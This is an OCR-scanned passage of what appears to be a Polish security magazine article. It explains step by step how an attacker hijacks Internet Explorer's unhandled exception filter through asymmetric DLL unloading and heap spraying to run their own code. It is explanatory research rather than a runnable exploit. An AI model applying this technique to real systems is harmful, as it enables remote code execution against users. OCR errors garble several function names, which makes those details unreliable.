7c862ccT eBeldbfaff call kernel32!Rtl
DecodePointer (7c¢8103ad)
Jesli warto$é¢ zwrdcona przez kernel32!
RtlDecodePointer jest rézina od NULL,
nastepujewywotanie do dekodowanego
witasnie UEF, informacja o wyjatku
przekazywana jest dalej:
7c862ccc 3bc7  cmp eax,edi
7c862cce 7415 Jjz kernel32!UnhandledExc
eptionFilter
+0x15b (7c862ceb)
7c862cd0 53 push ebx
7c862cdl ££fd0 call eax
Wartos¢ ta decyduje o tym czy aplika-
cja bedzie dalej wykonywana, zosta-
nie przerwana i czy zaraportuje btad.
W wiekszosci przypadkoéw, filtry
wyjatkdbw uzywane sg do obstugi
wyjatkéw charakterystycznych dla
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danego jezyka. Dzieje sie to nie-
zauwazalnie dla programistéw. Na
przyktad kod C++ zarejestruje wy-
jatek poprzez cxxsetunhandledExcept
ionFilter W czasie inicjalizacji CRT
podczas tadowania bibliotek. Po-
dobnie wyrejestruje wyjatek poprzez
CxxRestoreUnhandledExceptionFilte
r podczas konczenia programu lub
zwalniania bibliotek.

Przejmowanie kontroli
nad filtrem krytycznych
wyjatkéow

Obecnie jedynym wygodnym sposo-
bem na przejecie kontroli nad filtrem
UEF jest wymuszenie wywotan dla
kerne|32!SetUnhandledExceptionFil—
ter Wynika to bezposrednio z faktu,
ze zmienna globalna posiada odko-
dowany wskaznik. Mozna prébowaé
wymuszenie bezposredniego prze-
kierowywania kodu do kernel32!se-
tUnhandledExceptionFilter jednak
wymagatoby to skorzystania z do-
datkowych stabosci w aplikaciji.

W zwigzku z tymi ograniczeniami
nalezy troche wiecej uwagi poswiecic
samemu procesowi odpowiedzialne-
mu za rejestrowanie i od rejestro-
wywanie wyjatkow. W zwigzku ze
staboscig powigzan miedzy filtrami,
mozliwe jest sprawienie, by tancuch
stat sie zupetnie nieuzyteczny lub
nieuzywalny, co z kolei bedzie moz-
na wykorzysta¢. Jedno z wymagan
zwigzanych z z procesem rejestraciji
wyjatkow w filtrze najwyzszego po-
ziomu (UEF). Jak wspomnieli$my,
jednym z wymagan jest to , by pro-
ces rejestracji i od rejestrowywania
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byt symetryczny. Pytanie co sie sta-
nie, w przypadku jesli symetrycznosc¢
nie zostanie zachowana. llustracja
takiego przypadku znajduje sie na
rysunku 11. Jak wida¢ na diagramie
z rysunku 11, Najpierw rejestrowane
sg Wx i Dx. Wx jest od rejestrowy-
wane przed Dx, co sprawia, ze cata
operacja staje sie niesymetryczna.
W wyniku od rejestrowywania Wx
przed Dx, UEF jest ustawiony na
Ux, mimo, ze z technicznego puktu
widzenia Dx powinien by¢ w dalszym
ciggu czescig tancucha. Ostatecznie
Dx od rejestrowywuje sie ustawiajac
najwyzszy poziom dla Wx, mimo, ze
Wx zostat wczesniej od rejestrowa-
ny. To oczywiscie btedne zachowa-
nie, ale kod zwigzany z Dx nie ma
pojecia o tym, ze Wx juz zostato
oderejestrowane.

W przypadku takiej asyme-
trycznej rejestracji, atakujacy moze
przeja¢ kontrole nad UEF najwyz-
szego poziomu. Warto zauwazy¢, ze
dzieje sie to w momencie tadowania
i zwalniania bibliotek DLL. W takim
przypadku po od rejestrowaniu,
zostanie zwolniona biblioteka zwig-
zana z danym UEF. TO z kolei zo-
stawi UEF ustawione na Wx, ktére
wskazuje na btedny obszar pamieci.
Jesli wyjatek nastgpi po wystapieniu
takiej sytuaciji i nie zostanie obstuzo-
ny, wywotany bedzie filtr wyjatkow.
Jesli nie ma w systemie debuggera,
nastgpi wywotanie UEF Wx. A sko-
roWx wskazuje na obszar pamieci,
nie zwigzany z zadnym DLL, proces
zostanie w najlepszym wypadku za-
konczony.

Dla atakujgcego podobna sytu-
acja jest wiasnie tym, na co czekat,
sprobuje on wowczas wykorzystaé
pamie¢ do przechowania przygoto-
wanego specjalnie na te okazje ko-
du. W przypadku wywotania funkcji,
ktéra byta w tym miejscu pamieci,
zostanie wykonany kod atakujgce-
go. Dodatkowo jedynag rzecza jaka
atakujacy musi zrobi¢ bu funkcja zo-
stata wywotana, jest wygenerowanie
wyjatku.

Wszystko to mozliwe jest w przy-
padku Internet Explorera. W tym wy-
padku Internet Explorer stanie sie
sposobem na zmuszenie bibliotek
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DLL do zatadowania i wytadowania.
Sposobem bedzie tutaj obstuga obiek-
tow COM z poziomu przegladarki. Tak
jak w poprzednim przyktadzie uzyjemy
tutaj NEeW ActiveXObject Z JavaScript
lub tagu srML OBIECT.

W kazdym przypadku w momen-
cie wywotania obiektu COM zata-
dowana zostanie biblioteka DLL
zwigzana z obiektem o ile obiekt
utworzymy za pomocag INPROC SERVER.
W takim przypadku obiekt wywotany
zostanie biimain . Jesli biblioteka
DLL posiada filtr krytycznych wyjat-
kéow, moze zosta¢ zarejestrowana
podczas inicjalizacji CRT. Dzieki
temu do momentu kiedy obiekt COM
jest zwigzany z bibliotekg, odpowied-
ni zestaw UEF takze bedzie obecny.

Niezbedna jest takze kontrola
fazy od rejestrowywania. Trzeba
zmusic w jakis sposéb do odtadowa-
nia DLL. Mozna to osiagna¢ poprzez
ole32!correetnusedLibrariesEx
Moment kiedy zostaje wywotana to
moment zamykanie Internet Explo-
rera, a to dzieki DlIICanUnloadNow
, ktére wtedy przekazywane sg do
bibliotek. Jesli zwrécg one S_OK,
jak w przypadku gdy nie ma zadnych
powigzan z obiektami COM, ktorymi
opiekuja sie biblioteki.

Technika pozwalajgca na kontro-
lowanie tadowania i od tadowywania
bibliotek zilustrowana zostata na ry-
sunku 12. Przyktad powyzej przed-
stawia dwa otwarte okna , kazde
z nich jest otwarte, kazde zawiera
zarejestrowane biblioteki DLL im-
plementujgce obiekty COM. W przy-
ktadzie pierwsze okno przedstawia
COMObject1 implementowany przez
DLL #1. Kiedy biblioteka DLL #1 jest
zatadowana, rejestruje UEF Wx naj-
wyzszego poziomu. Kiedy zostanie
to wykonane, otwierane jest drugie
okno z COMObject2, powodujgce
zatadowanie DLL #2 i jednocze$nie
zarejsestrowanie UEF, Dx. Po wy-
konaniu tych operacji, DLL #1 i DLL
#2 wcigz tkwig w pamieci a UEF naj-
wyzszego poziomu wskazuje na Dx.

By przeja¢ kontrole nad UEF,
Wx i Dx trzeba bedzie spowodowaé
niesymetryczne ich wyrejestrowanie.
Zeby to osiagna¢, DLL #1 musi zostat
odfadowana przed DLL #2. Mozna
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to osiggna¢ poprzez zamkniecie
okna z COMObiject1, powodujgc tym
samym wywotanie ole32!correeunu-
sedLibrariesEx CO Spowoduje odtado-
wanie DLL #1. Podgzajgc tym tropem,
okno z COMObject2 powinno zostaé
zamkniete powodujac zwolnienie DLL
#2. Rysunek 13 przedstawia te sytu-
acje. Po zakonczeniu procesu, Wx
stanie sie UEF nawet mimofaktu, ze
jego biblioteka zostata wytadowana.
Jesli teraz nastgpi wyjatek, wywota
on funkcje wskazujaca btedny obszar
pamieci.

Atakujacy moze juz przejac
kontrole nad filtrem UEF najwyz-
szego poziomu, jednak troche pracy
trzeba bedzie jeszcze poswieci¢ na
umieszczenie kodu w miejscu gdzie
byt Wx. Mozna tego dokonac¢ dzieki
technice heap-spraying, dosy¢ zna-
nej w przypadku wykorzystywania
stabosci przegladarek. Celem tej
techniki jest zuzycie odpowiedniej
ilosci pamieci, co skutkowa¢ bedzie
rosngcym buforem w odpowiednim
miejscu. Spray'owane dane, a w tym
wypadku kod atakujgcego spowo-
dujq przejecie kontroli nad wykony-
waniem kodu. Istnieje jednak pewne
ograniczenie wynikajace z faktu, ze
potozenie danych w pamieci moze
nie by¢ wystarczajgco bliskie, by
mozna je byto praktycznie wy-
korzystaé. Na przyktad jesli stos
rosnie od 0x00480000 a biblioteka
zawierajgca Wx rezyduje w pamieci
od 0x7¢800000, wymagane bedzie
by umiesci¢ okoto 1.988 GB da-
nych na stosie. Wiadomo tez, ze
wiekszos¢ bibliotek dostarczanych
przez Microsoft jest skompilowa-
nych w taki sposéb by tadowac sie
na wyzszych poziomach pamieci,
co utrydnia prace agresora. Wiele
bibliotek zewnetrznych producen-
téw skompilowana jest dla adreséw
od 0x00400000, co sprawia ze ide-
alnie sie tutaj przydaja. Dodatkowo
warto wiedziec¢, ze jesli dwie biblio-
teki majg ten sam adres w pamieci,
to tylko jedna z nich zostanie pod
nim zatadowana. Druga ztadowana
zostanie pod nizszym adresem.
Mozna dzieki temu zmusic¢ biblioteki
do tadowania sie na nizszych adre-
sach, niz preferowane.




XXXXX

Warto takze wiedzie¢, ze obiekty
COM nie muszg by¢ z sukcesem ini-
cjowane, zeby biblioteka DLL zostata
zatadowana. Jest ona fadowana przed
sprawdzeniem obiektu COM, w celu
umozliwienia Internet Explorerowi czy
klasa COM w ogdle moze by¢ stwo-
rzona. Dzieki temu tatwo tadowac tak-
ze dodatkowe biblioteki. Powigzanie
wszystkich tych faktow daje duze pole
dziatania dla agresoréw. Dziata z Win-
dows XP SP2 i najnowszymi wersjami
Internet Explorera z fatkami do MS06-
051. Przyktad wymaga zainstalowane-
go Adobe Acrobat. Mozna takze uzyé
dowolnej innej biblioteki zewnetrznego
producenta. Skrypt implementujacy
te stabosS¢ jest czescig Metasploit
Framework.

Przysztos¢
Technika ta moze by¢ rozwijana. Tak
naprawde nawet najnowsza fatka nie
wyklucza mozliwosci jej stosowania. Na
przyktad zamiast opierac sie na oknach
Internet Explorera, mozna znalez¢ inny
wektor wskazujacy ole32!correeunu-
suedLibrariesEx , CO Z kolei umozliwi
wywotanie asymetrycznej derejestraciji.
Mozliwe jest tez opracowanie lepszych
techik sprayowania na stos.

Mozna tez pomysle¢ o serwerze
IIS — jesli mozliwe jest wejscie na
strony wywotujgce tadowanie i od
tadowywanie bibliotek poprzez wy-
wotywanie obiektow COM, atakujacy
moze przeja¢ kontrole nad filtrami.
Podobnie Microsoft SQL server,
ktéry taduje i zwalnia wiele bibliotek
— mozliwe jest prawdopodobnie wy-
konanie ataku SQL Injection, dajace-
go kontrole nad UEF.

Na koniec

Internet Explorer jest bardzo delikat-
ny. Czy zmieni to wersja 7 i Windows
Vista? Pokaze czas. Tym czasem
wykorzystanie delikatnosci |IE by zro-
bi¢ krzywde nie tylko jej, systemowi
w ktérym dziata, ale i uzytkownikowi
wydaje sie trywialne. Zresztg poka-
zane sposoby to wierzchotek gory
lodowej. Dodatkowo, stanowig ideal-
ny punkt wyjscia do dalszych badan.
Trzeba bowiem wiedzieé, ze obecne
tatki w zaden sposéb nie zamykaja
im drzwi.
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